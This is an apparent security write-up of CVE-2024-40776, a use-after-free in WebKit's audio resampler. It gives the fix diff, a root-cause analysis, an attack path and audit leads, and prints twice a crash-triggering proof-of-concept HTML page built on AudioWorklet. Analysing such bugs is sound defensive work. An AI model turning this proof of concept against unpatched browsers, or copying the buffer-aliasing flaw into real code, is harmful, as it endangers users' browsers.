CVE-2024-40776
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected process crash
Researchers: Huang Xilin of Ant Group Light-Year Security Lab
Key insight. The resampler borrowed the caller’s transient buffer as its AudioBus channel-0 memory instead of owning it, so concurrent AudioWorklet processing could leave the bus pointing at stale/wrong-sized memory; owning all channel memory removes the UAF/OOB.
Patch Details
diff --git a/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
new file mode 100644
index 000000000000..654ddf7f17ef
--- /dev/null
+++ b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
@@ -0,0 +1 @@
+This test passes if it does not crash.
diff --git a/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
new file mode 100644
index 000000000000..b3ab181d4787
--- /dev/null
+++ b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
@@ -0,0 +1,44 @@
+<html>
+<head>
+ <script>
+ let worklet_source = `
+ class Processor extends AudioWorkletProcessor {
+ process(inputs, outputs, parameters) {
+ return true;
+ }
+ }
+ registerProcessor('P2', Processor);
+ `;
+
+ let blob = new Blob([worklet_source], { type: 'application/javascript' });
+ let worklet = URL.createObjectURL(blob);
+
+ var ctx = new AudioContext({ sampleRate: 44100});
+ const dest = ctx.destination;
+ dest.channelCountMode = "max";
+
+ async function main() {
+ await ctx.audioWorklet.addModule(worklet);
+ var script_processor = ctx.createScriptProcessor();
+ script_processor.onaudioprocess = function() {
+ dest.channelCount = 1;
+ audio_worklet.disconnect();
+ if (window.testRunner)
+ testRunner.notifyDone();
+ }
+ var audio_worklet = new AudioWorkletNode(ctx, "P2");
+ script_processor.connect(audio_worklet);
+ audio_worklet.connect(dest);
+ }
+ </script>
+</head>
+<body onload="main()">
+ <p>This test passes if it does not crash.</p>
+ <script>
+ if (window.testRunner) {
+ testRunner.waitUntilDone();
+ testRunner.dumpAsText();
+ }
+ </script>
+</body>
+</html>
diff --git a/Source/WebCore/platform/audio/MultiChannelResampler.cpp b/Source/WebCore/platform/audio/MultiChannelResampler.cpp
index e5a0cfc10caa..c44df274cbbc 100644
--- a/Source/WebCore/platform/audio/MultiChannelResampler.cpp
+++ b/Source/WebCore/platform/audio/MultiChannelResampler.cpp
@@ -42,19 +42,8 @@ namespace WebCore {
MultiChannelResampler::MultiChannelResampler(double scaleFactor, unsigned numberOfChannels, unsigned requestFrames, Function<void(AudioBus*, size_t framesToProcess)>&& provideInput)
: m_numberOfChannels(numberOfChannels)
, m_provideInput(WTFMove(provideInput))
- , m_multiChannelBus(AudioBus::create(numberOfChannels, requestFrames, false))
+ , m_multiChannelBus(AudioBus::create(numberOfChannels, requestFrames))
{
- // As an optimization, we will use the buffer passed to provideInputForChannel() as channel memory for the first channel so we
- // only need to allocate memory if there is more than one channel.
- if (numberOfChannels > 1) {
- m_channelsMemory = Vector<std::unique_ptr<AudioFloatArray>>(numberOfChannels - 1, [&](size_t i) {
- size_t channelIndex = i + 1;
- auto floatArray = makeUnique<AudioFloatArray>(requestFrames);
- m_multiChannelBus->setChannelMemory(channelIndex, floatArray->data(), requestFrames);
- return floatArray;
- });
- }
-
// Create each channel's resampler.
m_kernels = Vector<std::unique_ptr<SincResampler>>(numberOfChannels, [&](size_t channelIndex) {
return makeUnique<SincResampler>(scaleFactor, requestFrames, std::bind(&MultiChannelResampler::provideInputForChannel, this, std::placeholders::_1, std::placeholders::_2, channelIndex));
@@ -93,16 +82,10 @@ void MultiChannelResampler::process(AudioBus* destination, size_t framesToProces
void MultiChannelResampler::provideInputForChannel(std::span<float> buffer, size_t framesToProcess, unsigned channelIndex)
{
ASSERT(channelIndex < m_multiChannelBus->numberOfChannels());
- ASSERT(framesToProcess == m_multiChannelBus->length());
+ ASSERT(framesToProcess <= m_multiChannelBus->length());
- if (!channelIndex) {
- // As an optimization, we use the provided buffer as memory for the first channel in the AudioBus. This avoids
- // having to memcpy() for the first channel.
- RELEASE_ASSERT(framesToProcess <= buffer.size());
- m_multiChannelBus->setChannelMemory(0, buffer.data(), framesToProcess);
+ if (!channelIndex)
m_provideInput(m_multiChannelBus.get(), framesToProcess);
- return;
- }
// Copy the channel data from what we received from m_multiChannelProvider.
memcpySpan(buffer.subspan(0, framesToProcess), m_multiChannelBus->channel(channelIndex)->span().subspan(0, framesToProcess));
diff --git a/Source/WebCore/platform/audio/MultiChannelResampler.h b/Source/WebCore/platform/audio/MultiChannelResampler.h
index 25d43100b71f..214ee06567ac 100644
--- a/Source/WebCore/platform/audio/MultiChannelResampler.h
+++ b/Source/WebCore/platform/audio/MultiChannelResampler.h
@@ -29,7 +29,6 @@
#ifndef MultiChannelResampler_h
#define MultiChannelResampler_h
-#include "AudioArray.h"
#include <memory>
#include <wtf/Function.h>
#include <wtf/Vector.h>
@@ -62,7 +61,6 @@ private:
size_t m_outputFramesReady { 0 };
Function<void(AudioBus*, size_t framesToProcess)> m_provideInput;
RefPtr<AudioBus> m_multiChannelBus;
- Vector<std::unique_ptr<AudioFloatArray>> m_channelsMemory;
};
} // namespace WebCore
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2024-40776 |
| Bugzilla | 273176 |
| Component | WebKit |
| Bug Class | UAF |
| Severity | medium |
| Commit | b7ccdb65258e895f… |
| Advisory | Apple Advisory |
Terminology
- MultiChannelResampler / AudioBus — Audio resampling helper whose AudioBus holds per-channel sample buffers.
- setChannelMemory — Points an AudioBus channel at a caller-provided memory block instead of owned storage — an aliasing optimization.
- AudioWorklet — Runs author JS on the real-time audio rendering thread, driving processing concurrently with graph changes.
- Buffer aliasing — Referencing externally-owned memory whose size/lifetime the referencing object does not control, risking stale/OOB access.
Root Cause Analysis
MultiChannelResampler resamples multi-channel audio. As an optimization it avoided allocating memory for the first channel by borrowing the caller-provided output buffer as the channel-0 backing store of its internal m_multiChannelBus: the constructor created the AudioBus without memory and only allocated AudioFloatArrays for channels 1..N-1 (m_channelsMemory), and process()/provideInputForChannel() called m_multiChannelBus->setChannelMemory(0, buffer.data(), framesToProcess) to point channel 0 at the caller’s transient buffer. That makes the AudioBus alias external memory whose lifetime and size are not owned by the resampler; when the resampler is driven from an AudioWorklet (author JS on the real-time audio thread) the borrowed buffer can be reused/freed or have a different length across the concurrent processing, so the AudioBus references stale or wrong-sized memory — a use-after-free / out-of-bounds on the audio channel data (the regression test is audioworklet-concurrent-resampler-crash). The fix removes the borrowing optimization: the AudioBus is created with its own owned memory (AudioBus::create(numberOfChannels, requestFrames)), the separate m_channelsMemory vector is deleted, and process() no longer aliases the caller’s buffer for channel 0 (the ASSERT is relaxed from == to <= length). The restored invariant is that the resampler’s AudioBus owns all its channel memory, so no channel points at externally-owned, potentially-stale buffers.
Attack Path
1. Set up an AudioWorklet resampling graph
Create a WebAudio graph that drives a MultiChannelResampler with author code running in an AudioWorkletProcessor on the audio thread.
2. Trigger channel-0 buffer borrowing
Processing points the internal AudioBus’s channel 0 at the caller-provided transient buffer instead of owned memory.
3. Invalidate the borrowed buffer
Concurrent/re-entrant worklet processing reuses, resizes, or frees that buffer while the AudioBus still references it.
4. Use-after-free / OOB
The resampler reads/writes channel 0 through the stale external pointer, corrupting memory in the WebContent process.
Impact Assessment
A use-after-free / out-of-bounds on audio channel memory caused by aliasing a caller-owned buffer in the resampler’s AudioBus, reachable from WebAudio/AudioWorklet in the WebContent process. Concurrent worklet processing gives attacker-influenced timing over the stale buffer; the observable is a crash, with corruption potential. Confined to WebContent; rated medium.
Audit Directions
Other setChannelMemory borrowers
grep platform/audio for setChannelMemory / external buffer aliasing where the AudioBus outlives or races the borrowed buffer.
AudioWorklet-thread lifetimes
Audit audio DSP objects driven from AudioWorklet for buffers borrowed across process() calls.
Length assumptions
Review resampler/bus code assuming framesToProcess exactly equals a fixed length rather than <=.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
MultiChannelResampler::MultiChannelResampler |
Source/WebCore/platform/audio/MultiChannelResampler.cpp |
modified | Creates m_multiChannelBus with owned memory (AudioBus::create(numberOfChannels, requestFrames)) and drops the m_channelsMemory borrowing optimization. |
MultiChannelResampler::process |
Source/WebCore/platform/audio/MultiChannelResampler.cpp |
modified | No longer aliases the caller’s buffer as channel-0 memory via setChannelMemory; relaxes the length ASSERT to <=. |
MultiChannelResampler::m_channelsMemory (removed) |
Source/WebCore/platform/audio/MultiChannelResampler.h |
modified | Removes the externally-borrowed channel-memory vector and the AudioArray include. |
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
new file mode 100644
index 000000000000..654ddf7f17ef
--- /dev/null
+++ b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash-expected.txt
@@ -0,0 +1 @@
+This test passes if it does not crash.
diff --git a/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
new file mode 100644
index 000000000000..b3ab181d4787
--- /dev/null
+++ b/LayoutTests/webaudio/crashtest/audioworklet-concurrent-resampler-crash.html
@@ -0,0 +1,44 @@
+<html>
+<head>
+ <script>
+ let worklet_source = `
+ class Processor extends AudioWorkletProcessor {
+ process(inputs, outputs, parameters) {
+ return true;
+ }
+ }
+ registerProcessor('P2', Processor);
+ `;
+
+ let blob = new Blob([worklet_source], { type: 'application/javascript' });
+ let worklet = URL.createObjectURL(blob);
+
+ var ctx = new AudioContext({ sampleRate: 44100});
+ const dest = ctx.destination;
+ dest.channelCountMode = "max";
+
+ async function main() {
+ await ctx.audioWorklet.addModule(worklet);
+ var script_processor = ctx.createScriptProcessor();
+ script_processor.onaudioprocess = function() {
+ dest.channelCount = 1;
+ audio_worklet.disconnect();
+ if (window.testRunner)
+ testRunner.notifyDone();
+ }
+ var audio_worklet = new AudioWorkletNode(ctx, "P2");
+ script_processor.connect(audio_worklet);
+ audio_worklet.connect(dest);
+ }
+ </script>
+</head>
+<body onload="main()">
+ <p>This test passes if it does not crash.</p>
+ <script>
+ if (window.testRunner) {
+ testRunner.waitUntilDone();
+ testRunner.dumpAsText();
+ }
+ </script>
+</body>
+</html>